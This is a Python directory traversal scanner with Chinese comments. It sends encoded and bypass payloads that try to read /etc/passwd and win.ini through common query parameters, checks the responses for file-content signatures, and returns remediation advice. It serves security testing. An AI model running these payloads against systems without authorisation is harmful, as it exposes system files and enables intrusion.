#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
目录遍历漏洞扫描脚本
检测目标URL是否存在目录遍历漏洞
"""

import requests
import time
import re
from typing import Dict, Any, List
import logging

# 配置日志
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

# 脚本元数据
NAME = "目录遍历漏洞扫描器"
DESCRIPTION = "检测目标URL是否存在目录遍历漏洞，通过发送路径遍历payload并分析响应"
AUTHOR = "Security Team"
VERSION = "1.0.0"
VULNERABILITY_TYPE = "directory_traversal"
SEVERITY = "high"
ENABLED = True

# 必要参数
REQUIRED_PARAMS = ["target"]

# 可选参数及默认值
OPTIONAL_PARAMS = {
    "scan_depth": 2,
    "timeout": 10,
    "max_retries": 3
}

# 目录遍历测试payloads
TRAVERSAL_PAYLOADS = [
    # 基本测试
    "../../../etc/passwd",
    "../../../../etc/passwd",
    "../../../windows/win.ini",
    "../../../../windows/win.ini",
    # URL编码绕过
    "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
    "%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini",
    # 双重编码绕过
    "%252e%252e%252f%252e%252e%252fetc%252fpasswd",
    "%252e%252e%255c%252e%252e%255cwindows%255cwin.ini",
    # 混合分隔符
    "..\../..\../etc/passwd",
    "..\%2f..\%2fetc%2fpasswd",
    # 空字节绕过
    "../../../etc/passwd%00",
    "../../../windows/win.ini%00",
    # 不同长度的遍历
    "....//....//....//etc/passwd",
    "....\\....\\....\\windows\\win.ini",
    # 截断绕过
    "../../../etc/passwd?",
    "../../../windows/win.ini?"
]

# 敏感文件内容特征
SENSITIVE_CONTENT_PATTERNS = {
    "passwd": [
        r":x:\d+:\d+:",
        r"root:x",
        r"nobody:x"
    ],
    "win_ini": [
        r"\[fonts\]",
        r"\[extensions\]",
        r"\[mci extensions\]"
    ]
}


def check_directory_traversal(url: str, payload: str, timeout: int, max_retries: int) -> Dict[str, Any]:
    """
    检测单个目录遍历payload
    
    Args:
        url: 目标URL
        payload: 目录遍历payload
        timeout: 请求超时时间
        max_retries: 最大重试次数
    
    Returns:
        包含检测结果的字典
    """
    results = {
        "payload": payload,
        "vulnerable": False,
        "evidence": [],
        "status_code": None,
        "reason": None
    }
    
    # 构建测试URL
    if "?" in url:
        test_url = f"{url}&file={payload}" if "=" in url.split("?")[1] else f"{url}{payload}"
    else:
        test_url = f"{url}?file={payload}"
    
    # 尝试常见的参数名
    param_names = ["file", "path", "dir", "page", "doc", "document", "folder", "resource"]
    
    for param_name in param_names:
        if "?" in url:
            param_url = f"{url}&{param_name}={payload}"
        else:
            param_url = f"{url}?{param_name}={payload}"
        
        for attempt in range(max_retries):
            try:
                headers = {
                    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
                }
                response = requests.get(param_url, headers=headers, timeout=timeout, allow_redirects=False)
                
                results["status_code"] = response.status_code
                
                # 检查响应内容是否包含敏感信息
                content = response.text.lower()
                for pattern_type, patterns in SENSITIVE_CONTENT_PATTERNS.items():
                    for pattern in patterns:
                        if re.search(pattern, content):
                            results["vulnerable"] = True
                            results["evidence"].append({
                                "pattern_type": pattern_type,
                                "matched_pattern": pattern,
                                "param_name": param_name
                            })
                            
                            # 如果找到漏洞，可以提前返回
                            if results["vulnerable"]:
                                logger.info(f"发现目录遍历漏洞: {param_url}")
                                return results
                
                # 如果状态码是200且响应内容不为空，也可能是漏洞
                if response.status_code == 200 and len(response.text) > 100:
                    results["reason"] = "可能存在目录遍历漏洞（200状态码和大量响应内容）"
                
                break
            except requests.exceptions.RequestException as e:
                logger.error(f"请求失败 ({param_url}, 尝试 {attempt+1}/{max_retries}): {str(e)}")
                if attempt == max_retries - 1:
                    results["reason"] = f"请求失败: {str(e)}"
                time.sleep(1)  # 重试前等待
    
    return results


def scan(target: str, **kwargs) -> Dict[str, Any]:
    """
    主扫描函数 - 检测目录遍历漏洞
    
    Args:
        target: 目标URL
        **kwargs: 可选参数
            - scan_depth: 扫描深度
            - timeout: 请求超时时间
            - max_retries: 最大重试次数
    
    Returns:
        扫描结果字典
    """
    logger.info(f"开始目录遍历漏洞扫描: {target}")
    
    # 获取参数
    scan_depth = kwargs.get("scan_depth", OPTIONAL_PARAMS["scan_depth"])
    timeout = kwargs.get("timeout", OPTIONAL_PARAMS["timeout"])
    max_retries = kwargs.get("max_retries", OPTIONAL_PARAMS["max_retries"])
    
    results = {
        "scan_type": VULNERABILITY_TYPE,
        "target": target,
        "vulnerable": False,
        "details": [],
        "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
        "vulnerability_info": {
            "name": NAME,
            "description": DESCRIPTION,
            "severity": SEVERITY
        }
    }
    
    try:
        # 验证目标URL
        if not target.startswith("http"):
            target = f"http://{target}"
        
        # 先发送一个正常请求，获取基线信息
        try:
            headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
            }
            base_response = requests.get(target, headers=headers, timeout=timeout)
            logger.info(f"基线请求成功: {target}, 状态码: {base_response.status_code}")
        except Exception as e:
            logger.error(f"无法连接到目标: {str(e)}")
            results["error"] = f"无法连接到目标: {str(e)}"
            return results
        
        # 测试不同的payload
        for payload in TRAVERSAL_PAYLOADS:
            check_result = check_directory_traversal(target, payload, timeout, max_retries)
            
            if check_result["vulnerable"]:
                results["vulnerable"] = True
                results["details"].append({
                    "payload": check_result["payload"],
                    "evidence": check_result["evidence"],
                    "status_code": check_result["status_code"]
                })
            elif check_result["status_code"] == 200 and check_result["reason"]:
                # 添加可能的漏洞
                results["details"].append({
                    "payload": check_result["payload"],
                    "status_code": check_result["status_code"],
                    "reason": check_result["reason"],
                    "potential_vulnerability": True
                })
        
        # 生成修复建议
        if results["vulnerable"]:
            results["suggestions"] = [
                "实施严格的输入验证和过滤，拒绝包含'../', './', '..\'等路径遍历字符的请求",
                "使用白名单机制，只允许访问预定义的安全路径",
                "对所有文件路径进行规范化处理，确保路径始终在预期的目录内",
                "在Web服务器配置中禁用目录浏览功能",
                "实施最小权限原则，确保Web应用进程只能访问必要的文件和目录"
            ]
        else:
            results["suggestions"] = [
                "继续保持良好的输入验证和过滤实践",
                "定期更新Web服务器和应用程序以修复潜在的安全漏洞",
                "考虑使用Web应用防火墙(WAF)来提供额外的保护层"
            ]
        
        logger.info(f"目录遍历漏洞扫描完成: {target}, 结果: {'发现漏洞' if results['vulnerable'] else '未发现漏洞'}")
        
    except Exception as e:
        logger.error(f"扫描过程中发生错误: {str(e)}")
        results["error"] = f"扫描过程中发生错误: {str(e)}"
    
    return results